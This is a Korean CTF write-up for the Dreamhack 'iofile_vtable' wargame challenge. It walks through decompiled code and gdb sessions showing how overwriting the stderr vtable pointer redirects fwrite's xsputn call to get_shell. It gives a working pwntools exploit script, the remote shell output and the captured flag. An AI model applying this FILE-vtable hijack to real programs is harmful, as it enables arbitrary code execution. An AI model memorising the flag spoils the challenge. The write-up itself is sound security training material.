Description
이 문제는 서버에서 작동하고 있는 서비스(iofile_vtable)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, “flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
iotfragile@iotfragile:~/CTF/iofile_vtable$ checksec --file ./iofile_vtable [*] '/home/iotfragile/CTF/iofile_vtable/iofile_vtable' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
iofile_vtable (Decompiled-src)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3[2]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); v3[1] = 0; initialize(argc, argv, envp); printf("what is your name: "); read(0, &name, 8uLL); while ( 1 ) { while ( 1 ) { puts("1. print"); puts("2. error"); puts("3. read"); puts("4. chance"); printf("> "); __isoc99_scanf("%d", v3); if ( v3[0] != 2 ) break; fwrite("ERROR\n", 1uLL, 6uLL, stderr); } if ( v3[0] > 2 ) { if ( v3[0] == 3 ) { fgetc(stdin); } else if ( v3[0] == 4 ) { printf("change: "); read(0, &stderr[1], 8uLL); } } else if ( v3[0] == 1 ) { puts("GOOD"); } } }
Solution
크래시 발생시키기:
what is your name: 에서 name을 8byte read로 입력받은다음,
4번 메뉴를 선택해서 임의로 ABCDEFGH를 입력하고,
2번 메뉴를 실행하면 크래시가 발생한다.
Fatal error: glibc detected an invalid stdio handle
Program received signal SIGABRT, Aborted.
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737351542592) at ./nptl/pthread_kill.c:44
44 ./nptl/pthread_kill.c: No such file or directory.
(gdb) bt
...
#7 0x00007ffff7e12f79 in _IO_vtable_check () at ./libio/vtables.c:72
#8 0x00007ffff7e09085 in IO_validate_vtable (vtable=0x4847464544434241) at ./libio/libioP.h:946
#9 __GI__IO_fwrite (buf=0x400b68, size=1, count=6, fp=0x7ffff7fa36a0 <_IO_2_1_stderr_>) at ./libio/iofwrite.c:39
#10 0x0000000000400a44 in main ()
4번 메뉴인 chance를 살펴보면 stderr 주소 + 0xd8 지점에 아까전 ABCDEFGH 값이 들어간 것을 확인할 수 있다.
(gdb)disas main
...
0x0000000000400a66 <+267>: mov rax,QWORD PTR [rip+0x200653] # 0x6010c0 <stderr@@GLIBC_2.2.5>
0x0000000000400a6d <+274>: add rax,0xd8
...
(gdb) x/gx 0x6010c0
0x6010c0 <stderr@@GLIBC_2.2.5>: 0x00007ffff7fa36a0
(gdb) x/gx 0x00007ffff7fa36a0
0x7ffff7fa36a0 <_IO_2_1_stderr_>: 0x00000000fbad2086
(gdb) x/gx 0x00007ffff7fa36a0+0xd8
0x7ffff7fa3778 <_IO_2_1_stderr_+216>: 0x4847464544434241
원래에는 어떤 값이 들어있었을까?
0x00007ffff7f9f600 <_IO_file_jumps> 구조체를 가리키고 있었다.
https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/libioP.h#L294
(gdb) x/gx 0x6010c0
0x6010c0 <stderr@@GLIBC_2.2.5>: 0x00007ffff7fa36a0
(gdb) x/gx 0x00007ffff7fa36a0+0xd8
0x7ffff7fa3778 <_IO_2_1_stderr_+216>: 0x00007ffff7f9f600
(gdb) x/gx 0x00007ffff7f9f600
0x7ffff7f9f600 <_IO_file_jumps>: 0x0000000000000000
(gdb) p _IO_file_jumps
$2 = {__dummy = 0, __dummy2 = 0,
__finish = 0x7ffff7e14ff0 <_IO_new_file_finish>,
__overflow = 0x7ffff7e15dc0 <_IO_new_file_overflow>,
__underflow = 0x7ffff7e15ab0 <_IO_new_file_underflow>,
__uflow = 0x7ffff7e16d60 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e18280 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7e14600 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7e142b0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e138e0 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7e174b0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e135a0 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e13430 <_IO_new_file_sync>,
__doallocate = 0x7ffff7e07b10 <__GI__IO_file_doallocate>,
__read = 0x7ffff7e14930 <__GI__IO_file_read>,
__write = 0x7ffff7e13ec0 <_IO_new_file_write>,
__seek = 0x7ffff7e13670 <__GI__IO_file_seek>,
__close = 0x7ffff7e13590 <__GI__IO_file_close>,
__stat = 0x7ffff7e13eb0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e18420 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e18430 <_IO_default_imbue>}
fwrite 함수는 실제로 _IO_fwrite 함수이고,
_IO_fwrite 함수에서 _IO_sputn 함수를 호출하는데 실제로 _IO_XSPUTN를 나타낸다.
이때 _IO_XSPUTN은 vtable 내부에 있는 함수 포인터이다.
//https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/iofwrite.c#L39 size_t _IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp) { size_t request = size * count; size_t written = 0; CHECK_FILE (fp, 0); if (request == 0) return 0; _IO_acquire_lock (fp); if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1) written = _IO_sputn (fp, (const char *) buf, request); ... }
//https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/iofwrite.c#L39 //https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/libioP.h#L304 ... #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n) ... struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); ... }
https://github.com/bminor/glibc/blob/glibc-2.38.9000/stdio-common/putw.c#L20
https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/iofwrite.c#L39
https://github.com/bminor/glibc/blob/glibc-2.38.9000/libio/libioP.h#L380C9-L380C18
이 _IO_XSPUTN 포인터 주소를 get_shell 주소로 덮어씌우면 될 것이다.
_IO_file_jumps에서 _IO_new_file_xsputn까지 오프셋을 구하자면,
56, 즉 0x38이 된다.
(gdb) x/50gx 0x7ffff7f9f600
0x7ffff7f9f600 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7ffff7f9f610 <_IO_file_jumps+16>: 0x00007ffff7e14ff0 0x00007ffff7e15dc0
0x7ffff7f9f620 <_IO_file_jumps+32>: 0x00007ffff7e15ab0 0x00007ffff7e16d60
0x7ffff7f9f630 <_IO_file_jumps+48>: 0x00007ffff7e18280 0x00007ffff7e14600
공격을 해보자면, 다음과 같다.
- name에는 get_shell 주소를 넣는다.
- 4번 메뉴 change를 골라서, _IO_new_file_xsputn 주소가 아닌 name에 들어있는 주소로 가리키게 만든다.
.bss:00000000006010D0 public name
따라서 0x6010d0-0x38이 들어가야 된다.
from pwn import * # context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 11908) p.recvuntil("what is your name: ") get_shell = 0x40094A name = 0x6010D0 p.sendline(p64(get_shell)) p.recvuntil("> ") p.sendline("4") p.recvuntil("change: ") p.sendline(p64(name-0x38)) p.recvuntil("> ") p.sendline("2") p.interactive()
Result
PS C:\Users\Seo Hyun-gyu\Downloads\36c743d8-d9ac-4e58-a533-cab3d795de58> python3 solve.py [x] Opening connection to host3.dreamhack.games on port 11908 [x] Opening connection to host3.dreamhack.games on port 11908: Trying 23.81.42.210 [+] Opening connection to host3.dreamhack.games on port 11908: Done [*] Switching to interactive mode ls flag iofile_vtable cat flag DH{9f746608b2c9239b6b80eb5bbcae06ed}
FLAG
DH{9f746608b2c9239b6b80eb5bbcae06ed}